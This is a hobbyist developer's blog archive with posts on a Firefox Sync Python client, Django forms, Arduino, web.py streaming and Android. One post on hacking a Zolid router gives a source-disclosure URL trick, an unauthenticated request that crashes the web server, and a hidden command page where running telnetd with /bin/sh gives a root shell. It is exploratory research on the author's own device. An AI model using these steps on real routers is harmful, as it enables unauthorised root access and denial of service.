Ivo's blog

Hacks, code and random thoughts

Accessing Firefox sync (Weave) data from Python

written by ivo, on Aug 14, 2011 8:34:00 PM.

Since delicious was terminating its service, I needed a new bookmark syncing service. I’ve switched to Firefox sync which finally seemed mature enough and, indeed, it works like a charm. It synchronized passwords, history perfectly between computers and android devices.

However, there is no way to access your online data and/or to sync data with, for example, Google chrome. This made me wonder how Sync works, why there’s no web interface to it and how hard it would be to write custom clients (javascript or python).

Unfortunately, documentation and (working) examples are scarce. The storage server itself is rather simpel and doesn’t need a lot of explanation, but the way the Sync code uses the storage definately does. There is a “weave.py” implementation from mozilla, but it’s rather outdated and won’t work with the current storage version used (version 5).

Nonetheless I managed to figure things out and get a working client that, at least, fetches bookmarks. This should be a good start for anyone trying to access Firefox sync data.

The full code can be found on github. I’ll highlight some specific details in this post.

Basics

When accessing the sync storage, you will need three things:

  • Your username. This is usually an email address
  • Your password.
  • Your passphrase. This is what is used to encrypt all your data before storing it. It has the format x-xxxxx-xxxxx-xxxxx-xxxxx where x can be a number or letter (with some limitations). If you lose this, you lose your data.
Your data is stored encrypted on the Firefox sync storage backends. The key used to encrypt the data is also stored here, but it’s encrypted using your passphrase. This means that, to access your data, you need the following steps:
  1. Get your (passphrase encoded) private key (../storage/keys)
  2. Decode your private key using your passphrase
  3. Fetch data from the storage backend (e.g. ../storage/bookmarks/xyzxyz123)
  4. Decode it using your private key

This also explains why there is no webinterface offered by mozilla - they simply can’t access your data!

request structure

The overall url structure (when accessing sync data) is as follows:
https://backend/<api>/<username>/<collection>
backend is the base url to a backend node
api is the api version. 1.0 is currently used.
username is your username, encoded (see below)
collection is the collection you’re accessing. Known collections include:
  • bookmarks
  • passwords
  • history
  • form history
  • open tabs
Data is returned as json, sometimes containing encryped json strings as payload.

Decoding the passphrase

Firefox Sync generates a passphrase for you and creates a base32 encoded string out of this. For readability, it is split into 6 hyphen-separated parts with ‘l’ replaced by ‘8′ and ‘o’ replaced by 9. The following method transforms it back into it’s original form:
    def decode_passphrase(p):
        def denormalize(k):
            """ transform x-xxxxx-xxxxx etc into something b32-decodable """
            tmp = k.replace('-', '').replace('8', 'l').replace('9', 'o').upper()
            padding = (8-len(tmp) % 8) % 8
            return tmp + '=' * padding
        return base64.b32decode(denormalize(p))

Encoding the username

The username needs specific encoding. Specifically, you need to turn it into a SHA1 hash and base32 encode it:
    def encode_username(u):
        return base64.b32encode(hashlib.sha1(u).digest()).lower()
When doing API calls to the backend, you HTTP authenticate using this encoded username and your password (not passphrase!).

Finding a node

Before fetching data, you’ll need to get the base-url of a backend node:
    def get_node(self):
        url = self.server + '/user/1/' + self.username + '/node/weave'
        r = requests.get(url, auth=(self.username, self._password))
        return r.read()

References

Google App Engine, Django and MultipleChoiceField

written by ivo, on Feb 8, 2011 1:16:00 PM.

I’m currently working on a Google App Engine / Django project and I got bitten by a nasty, poorly documented bug/issue. I’m trying to combine a StringListProperty with a MultipleChoiceField, so a user van basically set 0 or more values. Sounds simple. This is roughly what it looks like:

class MyModel(db.Model):
    field = db.StringListProperty(choices=["a","b","c"])

class MyForm(ModelForm):
    class Meta:
        model = MyModel

    field = forms.MultipleChoiceField(choices=[("a", "a"), ("b", "b"), ("c", "c")])

However, there are two issues with this:

  1. Upon submission of the form, if any of the options is selected, the data gets passed as a UnicodeMultiDict (something provided by webob), not a MultiValueDict which Django is used to. This means that the field validation can’t fetch the values as a list (it does not matter if a single or multiple values have been selected), it always gets a single value. And this won’t validate.
  2. StringListProperty explicitly converts its value to a string by joining on newlines in a Django form context, in stead of returning values as a list as you’d expect. This means that it can’t display a previously made selection, since “a\nb” won’t match values “a” or “b”.

These two issues can be solved as follows:

  1. Implement a Widgetclass that knows how to fetch its data from the MultiValueDict:
    class SelectMultiple(forms.widgets.SelectMultiple):
        def value_from_datadict(self, data, files, name):
            try:
                return data.getall(name)
            except:
                return data.get(name, None)
    
    and pass this to the Fields constructor: MultipleChoiceField(widget=SelectMultiple)
  2. Don’t use a StringListProperty with its odd, explicit side-effect. Use a ListProperty with a item_type unicode, e.g.
    field = db.ListProperty(item_type=unicode, choices=...)
    

Building a twitter-like character limited input using rctk

written by ivo, on Dec 9, 2010 11:08:00 AM.

I’ve blogged before about RCTK, my python UI toolkit. As a test, I’m writing a Twitter client, and of course I need a way to restrict the input to 140 characters. I was amazed at how easy this was using RCTK.

To give you an impression, the relevant UI is defined in XML (but you can of course also just do it declaratively in Python):

<object class="Panel">
    <width>465</width>
    <object class="GridLayout">
        <columns>2</columns>
        <rows>3</rows>
        <object class="StaticText">
            <text>What are you doing?</text>
            <flags>
              <row>0</row>
              <column>0</column>
                <sticky>WEST</sticky>
            </flags>
        </object>
        <object class="StaticText" name="charsleft">
            <text>140 characters left</text>
            <flags>
                <sticky>EAST</sticky>
              <row>0</row>
              <column>1</column>
            </flags>
        </object>
        <object class="Text" name="input">
            <width>465</width>
            <rows>2</rows>
            <flags>
                <sticky>EAST|WEST</sticky>
                <row>1</row>
                <column>0</column>
                <colspan>2</colspan>
            </flags>
        </object>
        <object class="Button" name="update">
            <text>Update</text>
            <flags>
                <sticky>EAST</sticky>
                <row>2</row>
                <column>0</column>
                <colspan>2</colspan>
            </flags>
        </object>
    </object>
    <flags>
        <sticky>EAST|WEST</sticky>
    </flags>
</object>

Declaratively, in Python, it would look like this (untested):

p = Panel(tk)
p.setLayout(GridLayout(rows=3, columns=2))
l1 = StaticText(tk, "What are you doing?")
self.storage.charsleft = StaticText(tk, "140 characters left")
self.storage.input = Text(tk, rows=2)
self.storage.update = Button(tk, "Update")
p.append(l1, GridLayout.WEST, row=0, column=0)
p.append(l2, GridLayout.EAST, row=0, column=1)
p.append(self.storage.input, GridLayout.EAST|GridLayout.WEST, colspan=2, row=1, column=0)
p.append(self.storage.update, GridLayout.EAST, row=2, column=1)

This defines a 2 column, 3 row layout. The first row contains the “What are you doing” and “.. characters left” messages. The second row contains the textarea to type text into, the last one the update button.

The accompanying code to implement the character limiting behaviour:

    ... 
        self.storage.input.keypress = self.handle_keypress
    ...
    def handle_keypress(self, event):
        chars_typed = len(self.storage.input.value)
        chars_left = 140 - chars_typed
        if chars_left == 1:
            self.storage.charsleft.text = "1 character left"
        else:
            self.storage.charsleft.text = "%d characters left" % chars_left
        if chars_left < 0:
            self.storage.update.enabled = False
            self.storage.charsleft.foreground = "red"
        else:
            self.storage.update.enabled = True
            self.storage.charsleft.foreground = "black"

That’s all! As soon as you’ve typed more than 140 characters, the update button will be disabled, and the “.. characters left” message will turn red.

In case you’re thinking “What’s so special about this? Gtk+/tkInter/wx can do this just as easy!”, realize that RCTK produces what most people would call a web application, i.e. one that you access using a web browser over the network!

Consider what it would be like to implement the above as a Plone Archetypes widget or in a Django form. You’d probably be coding a lot of html/javascript!

Arduino hacking and experimenting

written by ivo, on Oct 31, 2010 9:11:00 AM.

I’ve recently started experimenting with Arduino, an open source hardware prototyping platform, and with electronics in general. After the standard first few experiments (blinking LED’s and such) I wanted to do something a bit more exciting.

I Already purchased a cheap 5x7 led matrix and thought it would be easy to hook it up to the Arduino and control it. There were a few problems however:

  • It only has 12 pins to control 35 led’s. This means you can’t just turn on individual LED’s.
  • Even though Arduino should have enough output pins to control the entire matrix, the pins are divided into anode and cathode pins which means you control colums and rows by sourcing current on the anode (columns) and/or grounding cathodes (row). See the datasheet for the schema.
  • Not all combinations are possible! By enabling row/col (1,1) and (2,2), you won’t get two LED’s to light up, but 4: (1,1), (1,2), (2,1) and (2,2)!

This turned out to be a more challenging task than I thought (at least for me, being an electronics noob). I had already learned about the 74HC595 shift register. However, it only acts as a current source, not a current sink, which is required to control the cathodes. This can be easily solved using some transistors which ground the cathode when there’s current on their base. Combining two of these registers gives us 16 outputs, and we only need 12, so that problem is solved. For claritly, let’s put the rows on one register and cols on the other.

Controlling individual LED’s can be solved by alternating quickly between different rows and columns. E.g. (pseudo code)

  while(1) {
    enable(1,1);
    delay(5);
    enable(2,2);
    delay(5);
  }

will make the individual LED’s light up and it will appear asif they’re both lit up simoultaneously. Now, you can write a very smart algorithm to determine what rows and cols to set efficiently to get any random pattern, but since there are only 5 columns it’s easier to just iterate over the columns individually.

The end result looks like this:

Van misc
The code

Now that we can control the matrix, let’s do something fun on it: scrolling text. I’ve written a little python program that translates text into individual bitmasks for columns:

text = [
"x           x x                         x    x   xxx",
"x           x x                         x    x   xxx",
"x xx   xxx  x x  xxx  x   x  xxx  x xx  x    x   xx ",
"xx  x x   x x x x   x x   x x   x  x  x x  xxx   xx ",
"x   x xxxx  x x x   x x   x x   x  x    x x  x   x  ",
"x   x x     x x x   x x x x x   x  x    x x  x      ",
"x   x  xxx  x x  xxx   x x   xxx   x    x  xx x xx  "
]

chars = []
for i in range(0, len(text[0])):
    v = 0
    for j in range(0, 7):
        v <<= 1
        if text[6-j][i] == "x":
            v += 1
            
    chars.append(v)
print ",".join(map(str, chars))

This will output 127,8,4,4,120,0,56,84,84,84,8,0,127,0,127,0,56,68,68,68,56,0,60,64,32,64,60,0,56,68,68,68,56,0,4,120,4,4,8,0,127,0,48,72,72,63,64,0,64,95,15,3 which we can then use in a small arduino program to scroll on the matrix (I’ve added some extra zeroes so the text doesn’t immediately start in the leftmost column but scrolls nicely from right to left):


const int latchPin = 8;
const int clockPin = 12;
const int dataPin = 11;

void setup() {
  //set pins to output because they are addressed in the main loop
  pinMode(latchPin, OUTPUT);
  pinMode(dataPin, OUTPUT);  
  pinMode(clockPin, OUTPUT);
  Serial.begin(9600);
  Serial.println("reset");
}

byte text[] = {0, 0, 0, 0, 0, 127,8,4,4,120,0,56,84,84,84,8,0,127,0,127,0,56,68,68,68,56,0,60,64,32,64,60,0,56,68,68,68,56,0,4,120,4,4,8,0,127,0,48,72,72,63,64,0,64,95,15,3};

void loop() {
  for(int x = 0; x < sizeof(text); x++) {
    for(int repeat=0; repeat < 4; repeat++) {
      for(byte i = 0; i < 5; i++) {
        doit(1<<i, text[(i+x)%sizeof(text)]);
        delay(5);
      }     
    }
  }
}

void doit(byte low, byte high) {
  digitalWrite(latchPin, LOW);
  shiftOut(dataPin, clockPin, MSBFIRST, high);
  shiftOut(dataPin, clockPin, MSBFIRST, low);
  digitalWrite(latchPin, HIGH);
}

This is what the end result looks like: For me, being a software guy, this is quite an achievement. I’ve probably done things not as good/efficient as possible, feel free to notify me of any improvements in the comments. If anyone wants the schematics for the entire setup, let me know as well and I’ll see what I can do.

Implementing HTTP 206 Partial Content support for web.py

written by ivo, on Sep 17, 2010 10:41:00 AM.

The music player I recently blogged about required support for mp3/ogg streaming. This meant I either had to serve the actual music through apache (which was what I did at first), or adding support for this to web.py, which RCTK currently uses by default as application server.

This streaming support is defined for HTTP as Partial Content (code 206).

It turned out not to be too hard to implement. At least sufficient support for chrome to accept my streams. The code is as follows

   range = web.ctx.env.get('HTTP_RANGE')
   if range is None:
       return result

   total = len(result)
   _, r = range.split("=")
   partial_start, partial_end = r.split("-")

   start = int(partial_start)

   if not partial_end:
       end = total-1 
   else:
       end = int(partial_end)

   chunksize = (end-start)+1

   web.ctx.status = "206 Partial Content"
   web.header("Content-Range", "bytes %d-%d/%d" % (start, end, total))
   web.header("Accept-Ranges", "bytes")
   web.header("Content-Length", chunksize)
   return result[start:end+1]        

Put this in your GET method. If no range is defined, it defaults to returning the entire content. If a range is present it will find the requested range, set appropriate headers and return the correct slice.

Here is how the code is used in the RCTK application server implementation.

I suspect this implementation may not be fully bugfree but it works well enough for me. For example:

  • Should every response contain the “Accept-ranges: bytes” header to show support for partial content?
  • I suspect Chrome ending up in a loop when skipping to the end of a stream

Any improvements are, of course, welcome in the comments.

building a browser-based music player

written by ivo, on Sep 7, 2010 5:39:00 PM.

I have a large digitized music collection on my local QNap NAS, but I hardly ever listen to any of it anymore. For some reason I find most music players buggy, slow or just too restricted. Furthermore, just a player isn’t enough if your music is on a remote server - you need to mess with exported filesystems (slow), daap (restricted), or overly complex servers like mpd and gnump3d with special clients.

All I want is to listen to my collection of mp3 and ogg music files from different locations / different operating systems.

Some of the issues I’ve had:

  • iTunes / daap is too restricted. You can’t even make playlists. Also, it’s (witouth hacks) not accessible from outside of your home network. It sucks on both client and server.
  • Conversion. I have a lot of OGG encoded music, and only a few players support this out of the box. This means you need to do realtime conversion of content or install plugins into your player(s).
  • Buggy / slow / limited music players. Songbird is probably the worst. Most music players only work well on local data.
  • Server software. You need to make the music available externally. nfs/samba sharing usually isn’t an option, streaming servers are overkill (and often don’t seem to work properly, or have ogg issues, etc). gnump3d and mpd require special support in your player and are rather complex (but primitive in usability).
  • mp3tunes.com comes close to what I want - online storage with a player in your browser. But uploading music is rather hard and I already have my music online elsewhere.

But how hard can all this be? What I want boils down to:

  • All music on a single, externally accessible location (i.e. my home NAS)
  • Support for different platforms (Linux, OSX, possibly Windows. Perhaps even Android!)
  • Support for mp3 and ogg.
  • Some sort of playlist support.

html5 and rctk to the rescue!

Then it came to me. HTML5 plays embedded audio. Chrome actually supports both mp3 and ogg. All I need is a convenient way to make selections/playlists in a browser. And that’s what RCTK is perfect for!

RCTK?

Yeah. That’s been my pet project for the last year. You can read all about it on the RCTK Google Code Project Page. Basically, it’s a different kind of web toolkit. Not stateless page/rpc/form-based like most web frameworks, but widget based with long running stateful sessions/processes. This makes the implementation quite easy, with less than 200 lines of code you have a pretty functional player that supports:

  • Selecting files and directories into a playlist
  • Play/pause/next/continuous play
  • Explicitly selecting tracks to play
  • “smart” random play, looping

All you need from a trivial music player, available everywhere you have internet access. And best of all, it runs directly on my QNap NAS - it doesn’t have much dependencies and doesn’t require too much resources. If you have Python 2.4 or better (RCTK actually works on Python 3!), run a simple buildout script and you’re done!

This is what it looks like:

Sure, it doesn’t look very fancy, but it works for me. The overall styling, design and layout of RCTK needs work - it’s high on my priority list.

Upgrading the HTC Desire to Android Froyo (2.2) by hand

written by ivo, on Aug 21, 2010 9:00:00 PM.

(This article is also available in Dutch, Android Froyo (2.2) handmatig op HTC Desire installeren on my Dutch Android Pro site.)

HTC has released the Android 2.2 Froyo update for the HTC Desire in the Netherlands in the beginning of August. However, up until now, my Desire still reports that there are “no updates available”. And I’m aching to play with Froyo and all it’s nice new features and improvements!

It appears that HTC has retracted the update in the Netherlands, eventhough I haven’t been able to find anything official on this. HTC isn’t responding on twitter either.

Fortunately it’s not too hard to do the upgrade manually. The procedure below is only meant for unbranded devices, i.e. those that you didn’t buy from your service provider, unlocked:

  1. Download the update
  2. Copy the update to your sdcard and rename it to “update.zip”
  3. Shutdown your phone
  4. Start your phone again, keep the volume-down button pressed while pressing the power button.
  5. After a while you will see a menu. Use the volume-down button to highlight the “recovery” option and select it using the power button
  6. After a while you will see a /!\ symbol. Press volume-up and the power button simultaneously.
  7. A new menu will appear. Highlight the option “Apply sdcard:update.zip”, again using the volumn up/down and powerbutton for navigation.
  8. Once the installation is finished, chose “reboot system now”. This may take a while and once the device boots again additional installation will take place.

Android will make backups automatically and will restore the backup once the upgrade is complete. But it never hurts to make a copy of anything that’s important on your device, i.e. photo’s, text messages, etc. Of course, this whole upgrade procedure is fully at your own risk!

I’ve completed the procedure above flawlessly (you will need to be a bit patient during certain steps). It does seem that not having sufficient internal storage may cause the installation to fail or loop endlessly. In this case, uninstall some applications first.

References

Hacking the Zolid Mobile Router

written by ivo, on Jul 14, 2010 9:46:00 AM.

I recently bought a Zolid “wireless mobile router” at a local ALDI store. It’s a nifty little device with 2xUSB, 2xUTP, and b/g/n wireless. You can plug it directly in a socket or power it through micro usb. It also claims to have support for a wide range of 3G dongles so you can use it as a mobile 3G access point. It resembles some of the Linux plug servers like Sheevaplug and Guruplug. Here are some of my findings:

Versions

The Zolid (an ALDI brand) is a rebranded “Amigo 3R161N”, which is also sold by Solwise as the 3g11nmrw and as the E-Top 3r161n, though I can’t find it on the e-top website

Software details

As I expected, it runs linux:

Linux version 2.6.19 (root@localhost.localdomain) (gcc version 3.4.6-1.3.5) #1 Fri Feb 26 17:00:34 CST 2010

It has firmware “ver1.1.5″ installed.

It uses the “GoAheader-Webs” webserver

It uses Pure-FTPd as FTP server

Firmware

It didn’t ship with a firmware on the CD. Unisupport.net (responsible for Zolid support) doesn’t offer anything for download either, and neither does Amigo. However, Solwise does have two firmwares available at the bottom of their product page.

I haven’t yet succeeded in dissecting the firmware (which helps to find backdoors, exploits, and so on, and may provide an opportunity to create a customized firmware). I think it starts with a “config.dat” file, but I have to research this further.

Hacks, details

Appending a .asp url with %00 (other characters will also work, i.e. ///) will give you the unrendered source of the ASP page. I.e. http://192.168.1.132/status.asp%00

nmap reports the following open ports and fingerprint:

Interesting ports on default.fritz.box (192.168.1.132):
Not shown: 994 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
515/tcp   open  printer
49152/tcp open  unknown
MAC Address: 00:08:A1:C8:C9:C4 (CNet Technology)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=5.00%D=7/14%OT=21%CT=1%CU=32750%PV=Y%DS=1%G=Y%M=0008A1%TM=4C3D6DD
OS:3%P=i686-pc-linux-gnu)SEQ(SP=CE%GCD=1%ISR=CE%TI=Z%CI=Z%II=I%TS=U)OPS(O1=
OS:M5B4NNS%O2=M5B4NNS%O3=M5B4%O4=M5B4NNS%O5=M5B4NNS%O6=M5B4NNS)WIN(W1=16D0%
OS:W2=16D0%W3=16D0%W4=16D0%W5=16D0%W6=16D0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4N
OS:NS%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=4
OS:0%W=16D0%S=O%A=S+%F=AS%O=M5B4NNS%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T
OS:=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(
OS:R=Y%DFI=N%T=40%CD=S)
I have been able to find the following additional pages that are not part of the current navigation:
  • opmode.asp
  • one_button.asp
  • ap_one_button.asp
  • wifi_one_button.asp
  • tcpipwan.asp
  • qos.asp
  • downloadserver.asp (*)
  • stats.asp
(*) may crash the internal web server.

Crashing the web server is easy (no authentication required):

wget 'http://192.168.1.132/goform/foo

Accessing “config.dat” will offer a download containing, I assume, the devices configuration. It’s probably related to the saveconf.asp page. This file resembles the start of the firmwares I’ve been able to find.

Update

Thanks to info provided by Remco van Mook I’ve found the a page on the Sapido gr-1102 which mentions an “obama.asp” page which also works on the Zolid, it allows you to exexcute arbitrary commands!

Executing /usr/sbin/telnetd -l /bin/sh as command will give you an immediate root shell through telnet.

Related links

Remaining questions

  • How can we dissect the firmware?
  • Shouldn’t there be sources and licenses be provided somewhere?
  • How can we hack/exploit this device?

Please keep an eye on this page for futher updates. Respond in the comments if you have found anything interesting

Why you shouldn't buy a Samsung Android phone

written by ivo, on Apr 21, 2010 3:30:00 PM.

I purchased the Samsung Galaxy i7500 about 6 months ago. I blogged before on how disappointed I was with it, and that hasn’t changed. Recently I took my losses and replaced it with an HTC Desire, which turns out to be the perfect Android phone - I totally love it.

Summarized, here are some of the issues I’ve had with the i7500:

  • The screen locks/blocks when dialing, and can’t be unlocked. This means you can’t use the touch screen to navigate through phone menu’s. I’ve met a fellow i7500 who suffered from the same problem, and his workaround was to use the trackpad to navigate through the numerical on-screen keyboard. But sometimes even this doesn’t work.
  • Photo’s are sometimes corrupted. You end up with missing pictures and strange files with numerical id’s. Sometimes they also seem to come back again, so perhaps they are still correctly stored on the filesystem, though when accessing the storage remotely you will see the strange files as well.
  • WIFI is flakey/buggy. It will sometimes not recognize previously accessed/stored networks and it weel keep asking for a key. Turning wifi off/on again sometimes solves this issue.
  • Battery life is really poort, and actually simply not acceptable for a device with features such as the galaxy. Why put in 3G, Wifi, GPS and an oled screen if the device doesn’t have enough power to last a working day?

All of these issues persist after a full factory reset

Samsung has completely ignored its “early android adopters” and chose to focus on supporting “cheaper” Galaxy Spica in stead. This is the support you get for a device that has cost € 450,- half a year ago (and now costs less than half of that).

I don’t even care for an Android 1.6 or 2.x update, I just want a usable Phone.

I recently checked to see if there were any updates available. The only software that’s available on the Samsung Mobile site is “Samsung NEW PC Studio”, which I previously ranted about. I’ve tried downloading the update, but the installer is actually failing to install due to a “configuration file error”. I’ve tried contacting Samsung Mobile about this and all they came back with was to contact Samsung Netherlands. It’s unclear why they can’t forward support requests internally themselves.

Eventually Samsung Customer service (after I forwarded the mail myself) replied that there are no updates and there is no reason to use New PC Studio, which makes me wonder why they offered the download in the first place.

This whole experience has made me reconsider my appreciation for Samsung in general. I used to be a fan of their products - I have had Samsung flatscreen TV’s, printers, mp3 players (one of the few ones with ogg support back then) and I have always been really happy. Until now that is

Summary

If you want a buggy, overly expensive Android phone and terrible customer service / support, pick Samsung. I can’t imagine anything will improve with the new models so you should be save. However, if you want your money’s worth from a company that truly believes and supports Android, pick an HTC device like de THC Desire or HTC Legend

iRiver releases Story source

written by ivo, on Apr 19, 2010 11:28:00 AM.

It seems iRiver has put up a webpage containing the source to the iRiver story firmware, or at least (some?) GPL copylefted parts of it.

It’s a rather strange page however. Text is embedded in images (in stead of plain text / html) and an imagemap with javascript to download the actual files. It’s almost as if they don’t want the page to be indexed. They even manage to misspell their product name.

On the other hand, iRiver *is* linking (again through javascript, so it can’t be followed by crawlers) to the open source page from its frontpage.

So just to be sure I’ll be making copies of the provided source, and to help google a bit I’ll provide some indexable direct links:

I will also provide a mirror of the iRiver story GPL source files, though I haven’t checked them thorougly yet.

It’s unclear if my previous posts and/or if Mikhail Gusarov’s gpl-violations.org work has been of any influence, but it’s good to see some source being released. Hopefully this will enable the openinkpot.org developers to hack the iRiver story a bit more :)